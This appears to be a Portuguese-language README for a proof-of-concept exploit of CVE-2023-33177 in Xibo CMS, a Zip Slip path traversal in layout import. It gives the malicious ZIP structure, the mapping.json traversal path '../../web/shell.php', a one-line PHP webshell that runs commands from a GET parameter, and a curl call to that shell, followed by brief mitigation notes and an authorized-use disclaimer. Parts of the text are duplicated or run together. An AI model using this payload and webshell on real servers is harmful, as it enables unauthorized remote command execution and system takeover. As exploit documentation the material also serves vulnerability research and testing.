
Este exploit demonstra uma **vulnerabilidade de path traversal** no Xibo CMS (CVE-2023-33177) que permite execução remota de código através de importações maliciosas de layout.
Este exploit demonstra uma vulnerabilidade de path traversal no Xibo CMS (CVE-2023-33177) que permite execução remota de código através de importações maliciosas de layouts.
CVE/Advisory: CVE-2023-33177 Versões Afetadas:
Tipo de Vulnerabilidade: Path Traversal (Zip Slip) Impacto: Execução Remota de Código (RCE)
O Xibo CMS permite que usuários autenticados importem arquivos de layout via arquivos ZIP. A funcionalidade de importação não valida adequadamente os caminhos de arquivo no arquivo mapping.json, permitindo que um atacante escreva arquivos fora do diretório de biblioteca pretendido usando sequências de path traversal (../../).
mapping.json../../web/shell.phplibrary/../../web/shell.php/var/www/cms/web/shell.phpZIP contém: library/../../web/shell.php
Xibo lê: library/ + ../../web/shell.php (do mapping.json)
Xibo escreve: /var/www/cms/library/temp/ + ../../web/shell.php
Resultado: /var/www/cms/web/shell.php ← Webshell na raiz web!
python3 create_exploit.py
Isso cria exploit.zip contendo o pacote de layout malicioso.
xibo_admin / password)exploit.zipcurl 'http://localhost:8080/shell.php?cmd=id'
O ZIP do exploit contém:
exploit.zip
├── layout.json # Definição de layout Xibo válida
├── playlist.json # Playlist vazia (aciona importação JSON)
├── mapping.json # Contém payload de path traversal
└── library/
└── ../../web/
└── shell.php # Webshell PHP (é extraído para a raiz web)
O webshell embutido é mínimo:
<?php system($_GET["cmd"]); ?>
Acesso via: http://<alvo>/shell.php?cmd=<comando>
Versões Corrigidas:
Estratégias de Mitigação:
.. ou caminhos absolutosEste exploit é fornecido para:
Não use este exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
complexusprada Novembro de 2025